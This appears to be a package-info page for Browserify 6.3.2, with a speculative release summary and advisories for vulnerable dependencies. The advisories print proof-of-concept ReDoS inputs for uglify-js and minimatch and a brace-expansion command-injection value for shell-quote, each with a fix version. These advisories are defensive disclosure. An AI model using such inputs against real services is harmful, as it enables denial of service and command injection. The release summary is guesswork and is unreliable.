Browserify version 6.3.2 is a minor update to the popular JavaScript module bundler, building upon the foundation laid by version 6.3.1. Both versions maintain the core functionality of enabling Node.js-style require() statements in the browser, allowing developers to reuse server-side code and libraries in client-side applications. Key features include dependency resolution, and bundling of diverse modules into a single file optimized for browser delivery.
Looking at the metadata, the dependency lists for both versions appear identical. This tells us that the changes between 6.3.1 and 6.3.2 likely don't involve any modifications or updates to the direct dependencies relied upon by Browserify itself. Similarly, the devDependencies remain unchanged further suggesting the core functionality remain the same and the update doesn't include testing harness changes or new tooling support for contributors. Consequently, the update in 6.3.2 probably focuses on internal optimizations, bug fixes, or minor enhancements that don't necessitate dependency upgrades.
Developers already using Browserify 6.3.1 can likely upgrade to 6.3.2 with confidence, expecting a seamless transition and potentially benefiting from improved performance or stability. However, given the lack of dependency changes, major feature additions are unlikely. This makes 6.3.2 a recommended upgrade for maintaining a healthy and up-to-date project, rather than a must-have for accessing new functionalities. Date-wise, the release sits firmly in November 2014.
All the vulnerabilities related to the version 6.3.2 of the package
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Potential Command Injection in shell-quote
Affected versions of shell-quote do not properly escape command line arguments, which may result in command injection if the library is used to escape user input destined for use as command line arguments.
The following characters are not escaped properly: >,;,{,}
Bash has a neat but not well known feature known as "Bash Brace Expansion", wherein a sub-command can be executed without spaces by running it between a set of {} and using the , instead of to seperate arguments. Because of this, full command injection is possible even though it was initially thought to be impossible.
const quote = require('shell-quote').quote;
console.log(quote(['a;{echo,test,123,234}']));
// Actual "a;{echo,test,123,234}"
// Expected "a\;\{echo,test,123,234\}"
// Functional Equivalent "a; echo 'test' '123' '1234'"
Update to version 1.6.1 or later.